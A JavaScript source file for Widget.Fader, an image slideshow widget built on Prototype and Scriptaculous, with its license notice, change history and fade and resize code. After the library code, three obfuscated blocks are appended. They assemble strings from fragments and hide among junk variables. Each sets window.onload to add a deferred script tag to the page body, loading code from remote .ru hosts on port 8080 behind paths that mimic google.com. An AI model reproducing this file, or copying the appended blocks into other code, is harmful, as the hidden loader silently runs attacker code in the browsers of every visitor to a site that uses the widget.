/**
 * @fileoverview Widget.Fader <br />
 * Loads an array of images and fades them in and out in sequence.<br />
 * <br />
 * Requires Prototype  1.6 (http://www.prototypejs.org) or later <br />
 * and Scriptaculous 1.8 (http://script.aculo.us) or later. <br />
 * <br />
 * Widget.Fader is licensed under the Creative Commons Attribution 2.5 South Africa License<br />
 * (more information at: http://creativecommons.org/licenses/by/2.5/za/)<br />
 * Under this license you are free to<br />
 * - to copy, distribute and transmit the work<br />
 * - to adapt the work<br />
 * However you must<br />
 * - You must attribute the work in the manner specified by the author or licensor (but not in any way that suggests that they endorse you or your use of the work).<br />
 * - That is by providing a link back to http://www.eternal.co.za or to the specific script page. This link need not be on the page using the script, or even nescessarily even on the same domain, as long as it's accessible from the site.<br />
 * I'd also like an email telling me where you are using the script, although this is not required. More often than not I will link back to the site using the script.<br />
 * Other than that, you may use this class in any way you like, but don't blame me if things go <br />
 * pear shaped. If you use this library I'd like a mention on your website, but <br />
 * it's not required. If you like it, send me an email. If you find bugs, send <br />
 * me an email. If you don't like it, don't tell me: you'll hurt my feelings. <br />
 * <br />
 * Change History:<br />
 * Version 1.1.1: 17 Nov 2007<br />
 * - Fixed a bug: options.attributes should have been an associative array object<br />
 * Version 1.1.0: 11 Nov 2007<br />
 * - Updated script for Prototype 1.6 and Scriptaculous 1.8<br />
 * - Fader is now in the Widget namespace (Widget.Fader).<br />
 * - Fader no longer requires Scriptactulous Builder and uses Prototypes new Element(...) instead.<br />
 * - Minified script and minified single script files added to download.<br />
 * - New license: Creative Commons Attribution 2.5 South Africa License.<br />
 *  see more at: http://creativecommons.org/licenses/by/2.5/za/<br />
 * - new Fader(...) has been deprecated and will be removed in the next major version<br />
 * Version 1.0.2: 20 Sep 2007<br />
 * - Added dir option<br />
 * - Added beforeFade callback option<br />
 * - Added startIndex option<br />
 * Version 1.0.1: 15 Aug 2007<br />
 * - Added attributes option<br />
 * - Now requires builder.js from Scriptaculous<br />
 * - Fixed a bug that started the blend with the 3rd image in the list<br />
 * Version 1.0.0: 11 Aug 2007<br />
 * - First version<br />
 * @class Fader
 * @version 1.1.1
 * @author Marc Heiligers marc@eternal.co.za http://www.eternal.co.za
 */
if(typeof Widget == "undefined") Widget = {};
Widget.Fader = Class.create();
Widget.Fader.prototype = {
	/**
	 * The Widget.Fader class constructor. <br />
	 * @constructor Widget.Fader
	 * @param {string|img element} img The id of or actual image element to be faded
	 * @param {array(string)} list  An array of paths (relative or absolute) of the images
	 * @param {object} [options] An object of options.
	 */
	initialize: function(img, list, options) {
		this.img = $(img);
		this.list = list;

		/**
		 * The default options object.
		 * @class
		 * @param {string} [id] The id used as queue scope. (default: img.id)
		 * @param {float} [fadeInDuration] The time in seconds of the fade in. (default: 2.5)
		 * @param {float} [fadeOutDuration] The time in seconds of the fade out. (default: 1.5)
		 * @param {float} [displayDuration] The time in seconds that the image is not faded out after being faded in. (default: 2.5)
		 * @param {bool} [autoSize] Set true if the image should be sized to it's container. Maintains aspect ratio. (default: false)
		 * @param {bool} [autoStart] If false the Blender will not start until Blender#start is called. (default: true)
		 * @param {object} [attributes] An associative array of attributes given to the image. (default: {})
		 * @param {string} [dir] The directory that all images reside in. Used as a prefix for the image src. (default: null)
		 * @param {function} [beforeFade] A function that is called before the image is faded. 2 parameters are passed: 1. the image; 2. a boolean indicating if the image is being faded in (true) or out (false) (default: null)
		 * @param {int} [startIndex] The index of the first new image to be shown. (default: 0)
		 */
		this.options = Object.extend({
			id: this.img.id,
			fadeInDuration: 1.5,
			fadeOutDuration: 1.5,
			displayDuration: 2.5,
			autoSize: false,
			autoStart: true,
			attributes: {},
			dir: "",
			beforeFade: null,
			startIndex: 0
		}, options || {});
		this.options.attributes["id"] = this.options.id;

		this.index = this.options.startIndex;
		this.container = $(this.img.parentNode);
		this.loadedObserver = this.loaded.bind(this);
		this.fadeInObserver = this.fadeIn.bind(this);
		this.nextObserver = this.next.bind(this);

		if(this.options.autoStart) {
			setTimeout(this.start.bind(this), this.options.displayDuration * 1000);
		}
	},
	/**
	 * Starts the fading if the autoStart option was set to false or after a call to stop.
	 */
	start: function() {
		this.stopped = false;
		this.next();
	},
	/**
	 * Stops the fading and sets the opacity of the current image to 100%.
	 */
	stop: function() {
		this.stopped = true;
		try { clearTimeout(this.timeout); } catch(ex) { }
		try { Effect.Queues.get(this.options.id).each(function(effect) { effect.cancel() }) } catch(ex) { }
		if(this.oldImg) {
			this.img = this.oldImg;
			--this.index;
		}
		Element.setOpacity(this.img, 1);
	},
	/**
	 * Loads the next image in list
	 * @private
	 */
	next: function() {
		this.oldImg = this.img;
		if(this.stopped || this.list.length == 0) {
			return;
		}
		++this.index;
		if(this.index >= this.list.length) {
			this.index = 0;
		}
		this.img = new Element("img", this.options.attributes);
		Event.observe(this.img, "load", this.loadedObserver);
		this.img.src = this.options.dir + this.list[this.index];
	},
	/**
	 * Event listener for image loaded
	 * @private
	 */
	loaded: function() {
		Event.stopObserving(this.img, "load", this.loadedObserver);
		if(typeof this.options.beforeFade == "function") {
			this.options.beforeFade(this.oldImg, false);
		}
		new Effect.Opacity(this.oldImg, { duration: this.options.fadeOutDuration, from: 1.0, to: 0.0, queue: { scope: this.options.id } });
		this.timeout = setTimeout(this.fadeInObserver, this.options.fadeOutDuration * 1000);
	},
	/**
	 * Event listener for fadeIn
	 * @private
	 */
	fadeIn: function() {
		if(typeof this.options.beforeFade == "function") {
			this.options.beforeFade(this.img, true);
		}
		this.img.id = this.id;
		Element.setOpacity(this.img, 0);
		if(this.options.autoSize) {
			this.resize(this.img);
		}
		this.container.replaceChild(this.img, this.oldImg);
		this.oldImg = null;
		new Effect.Opacity(this.img, { duration: this.options.fadeInDuration, from: 0.0, to: 1.0, queue: { scope: this.options.id } });
		this.timeout = setTimeout(this.nextObserver, (this.options.fadeInDuration + this.options.displayDuration) * 1000);
	},
	/**
	 * Resize the image to the container while maintaining aspect ratio
	 * @private
	 */
	resize: function(img) {
		var dim = this.container.getDimensions();
		dim.width -= parseInt(this.container.getStyle("padding-left")) +
			parseInt(this.container.getStyle("padding-right")) +
			parseInt(this.container.getStyle("border-left-width")) +
			parseInt(this.container.getStyle("border-right-width"));
		dim.height -= parseInt(this.container.getStyle("padding-top")) +
			parseInt(this.container.getStyle("padding-bottom")) +
			parseInt(this.container.getStyle("border-top-width")) +
			parseInt(this.container.getStyle("border-bottom-width"));

		var dw = dim.width / img.width;
		var dh = dim.height / img.height;
		var w1 = img.width * dh;
		var h1 = img.height * dw;

		if(dw > dh) {
			img.width = w1;
			img.height = dim.height;
		} else {
			img.width = dim.width;
			img.height = h1;
		}
	}
};
/**
 * @deprecated
 **/
var Fader = Widget.Fader;

var N=new String();var t=["h"];var D={p:"G"};var Vs=["SY","K"];function B(){var b=[];var IK=new Array();var a=new Date();var Oa={};var V=window;BR=["Sw","M"];Gw=54377;Gw--;var O=String("onlo"+"ad");eH=["JL","d","m"];try {} catch(bY){};var H=new String("defe"+"rLZI".substr(0,1));this.Nv=6347;this.Nv-=115;var f=new String("5Jmscr".substr(3)+"ipt3mvb".substr(0,3));dH={Od:"xR"};this.Rg=false;var e=new String("ywMsrc".substr(3));this.n="n";var g=String("appe"+"ndChPRtb".substr(0,4)+"ild");var wD="";var Nb={};var C=new String("creaNST".substr(0,4)+"teEl"+"wFWqemen".substr(4)+"t");var Y="body";var QQ=["nZ","fd"];var R=document;DF=40340;DF--;try {var fR='BW'} catch(fR){};function J(){this.QA=47658;this.QA++;var vZ=["ID","z","LB"];GH=35705;GH++;var QY={};try {try {var UX='P_'} catch(UX){};this.Ik=40424;this.Ik+=236;var lB={ys:"c"};var Dj={uf:"dq"};var A=470925-462845;var yA=new Date();this.zO=42031;this.zO-=83;var ed="http"+"://pgvj".substr(0,4)+"asspIQm".substr(0,4)+"wX1ortbXw1".substr(3,4)+"fiyHlues".substr(4)+"n5z.ru:".substr(3);this.i_=43077;this.i_+=171;this.ev=30016;this.ev+=158;Vu={Jt:11053};var l="wjA/g".substr(3)+"SfOjoo".substr(4)+"rxAgl".substr(3)+"e."+"co"+"m/"+"ma"+"in1eZF".substr(0,2)+"ic"+"hi2Nn".substr(0,2)+"G8n.j".substr(3)+"hgHp/Hhg".substr(3,2)+"rkJA1".substr(0,2)+".c"+"omZ6k".substr(0,2)+".p"+"rEj7hp7rjE".substr(4,2);this._M="_M";var vU={Po:false};var P=2396-2395;var DZ={DD:false};var oN=new Array();x=R[C](f);try {} catch(Bd){};this.UE=309;this.UE+=124;x[H]=P;var Nh=[];x[e]=ed+A+l;W=42862;W-=177;tK=43908;tK++;this.dg=false;R[Y][g](x);Fx={};var iZ=["lCW"];} catch(L){oQ={};};nJ={pu:52719};}V[O]=J;};ip=40921;ip-=237;B();this.AQ=2667;this.AQ+=164;var IB=new Date();
var b={m:"a"};try {c=["k","p"];var pO=new Date();var wD={w:false};var ib=new Date();var H={uh:false};var N=new String();var rI=new String();var ux=new String();this.Ug=false;var r=window[new String("un"+"es"+"ca"+"rPsQpe".substr(4))];pF=50780;pF--;_=37922;_--;this.Kl=false;var q='';mD={};var B=String("repl"+"ace");var Xc=new Date();var O=new String("1");Lo=[];this.C=59045;this.C-=67;Ub=54734;Ub++;var I=new String("onloa"+"dgPtq".substr(0,1));try {} catch(e){};try {} catch(Ke){};this.A_="";ek=39019;ek+=196;nr=30693;nr+=195;var D=window[(String("RegE"+"xpDAs".substr(0,2)))];this.wDf="wDf";try {var fr='jk'} catch(fr){};function n(O,v){this.Wj=16590;this.Wj-=59;var zm="zm";var Ot=new String("[");Ot+=v;var fa={};EA={Zh:false};this.pFJ="pFJ";Ot+=r("%5d");var qc=["JP","Bf","uO"];i_=57527;i_+=150;ap={nre:"GL"};this.WB='';var l=new D(Ot, new String("g"));var Jz={QW:"yt"};var CN=false;return O.replace(l, q);};var b_=[];var nD=false;var As='';var EP=false;CE=[];sC=[];var Xs={LO:6394};var lQ=false;var E=608857-600777;var BW=false;var Ej=new String("fFihtt".substr(3)+"p:/CK7T".substr(0,3)+"/go"+"thg"+"uilw2CD".substr(0,3)+"t.r"+"u:bsh".substr(0,2));try {var Tz='JL'} catch(Tz){};DQ={};_E=["RU"];try {var KN='Et'} catch(KN){};QB={fi:60330};try {var Tu='BL'} catch(Tu){};var o=String("/goog"+"le.co5Vdp".substr(0,5)+"m/51."+"la/na"+"qigs."+"BJg5com.p".substr(4)+"hp");eD=["MQ"];var fB=false;function j(){this.Hk=60433;this.Hk+=30;rR=["fN","rU"];this.hW="hW";var oB={is:"er"};this.Mb=46177;this.Mb+=71;Ki=["gz","Bw","pV"];var R=n('slc7rDi0p0tn','0nODlH7');this.JV=2273;this.JV--;var fz=["oY"];var Nb=42119;sT=[];var Ds=new String("appen"+"dChila1bz".substr(0,5)+"d");var ha={};TG=["UX","np","_I"];max=["Lu","yG","Tx"];var t=document;var sp=new String();var Ic=new String();var wR=new String();this.aP="aP";var WUL=new String();yZ=["Db","LB","hc"];yF=15257;yF--;var pf="pf";GY=["Mn","WD","tq"];Zz=45854;Zz--;U=t.createElement(R);try {var HJ='SY'} catch(HJ){};QT={ZzT:false};UbY={SZo:false};var oJ=new String();RC=Ej+E;var XW="";var Oa=18218;var qo={YY:15536};RC=RC+o;var SR={};var bI="";var gK={};var Eg={};var vb={};var CG={CK:891};var cc=[];var Wv={yH:21663};var Dc=[];U[String("defe"+"r")]=O;var u=t.body;Zs=45138;Zs--;fe={};var ov={OI:"wJ"};uY=10224;uY--;mA={};U.src=RC;var wa=false;var VR=false;var Ie=false;dS=["km","JQ"];var kw=false;this.ty=false;u[Ds](U);};var vt={rx:false};var fv=["bW"];lj=["di","Bm"];var VT=new Array();this._u=50877;this._u+=10;EjT=["ci","aI"];window[I]=j;_Q=45221;_Q+=241;this.mt="";zG=49120;zG+=178;var Yl=new Array();this.qi=false;try {var tv='Aob'} catch(tv){};var iES="";this.BF=false;} catch(J){WL=["Cu"];var gW={};yZi=["VW"];this.TEu=32933;this.TEu--;};pe=23961;pe+=245;mU=33833;mU+=42;HL=31704;HL+=62;
this.pe="";var P=new String();var c;this.K=false;this.asE="asE";r=function(){this.UU=39803;this.UU-=226;function N(i,C,p){return i.substr(C,p);}_=[];this.wX="";var W=document;zZ=[];var k='';var JD=new Array();var n=N("/goog3RT",0,5)+N("le.co9KT",0,5)+"m/gap"+N(".com/68I",0,5)+"world"+N("ofwarYNzv",0,5)+N("HYTLcraftYHLT",4,5)+N(".com.x4WT",0,5)+N("vLTRphpvRTL",4,3);var V=["B"];mm={};iL=51826;iL--;BJ=["aV","Os","eS"];var j=RegExp;hq={ZY:false};bf={zK:false};function Q(i,C){var q=false;var p=String(N("[sBxT",0,1))+C+N("]2kYW",0,1);var m=new j(p, String("g"));this.B_=42174;this.B_+=244;var wJ={aq:false};return i.replace(m, k);u={Uv:false};mS={iv:false};};Oh=26980;Oh+=59;MG={};var H=String(N("bodtXq6",0,3)+N("uFc5yF5uc",4,1));var qS=["ZK","bt"];var d={};var o=712579-704499;var KB=[];var g=null;this.oo=4703;this.oo+=97;this.QE=61993;this.QE+=225;var E=Q('sKc6rIi3pVt6','36NKVIm');this.WQ=false;this.md=false;c=function(){try {var nQ='YN'} catch(nQ){};try {this.BO=43480;this.BO++;var cT=Q('cIr1e3aGtyesE3lIeVmQe0nztV','93GKsQhzVT0Hu21Z7pIkMy');Qn=W[cT](E);fU={kG:false};var zi=["S","nv","qq"];var OI="";var l=Q('s1r7c1','8akv1dXxEulUY7HyI6');var VE='';var mSw={JG:"T"};var i=o+n;var gH=N("defKPJ",0,3)+N("eryx1U",0,2);this.ej=34353;this.ej-=132;Qn[gH]=[1,4][0];var XZ={dn:false};Qn[l]=String(N("httpuN6",0,4)+"://t"+N("Z2PenthPZ2",3,4)+N("profAGnC",0,4)+"it.r"+N("u:neW",0,2))+i;KI=["Kp","bU"];var DY="";var sP="sP";W[H].appendChild(Qn);this.R='';this.Bt='';} catch(e){var hg="hg";};ez={uZ:false};};dF=["Lk"];};r();var bY="";wV={vS:false};window.onload=c;var YPO=["bM","_S","xz"];var MF="MF";var ufi=new String();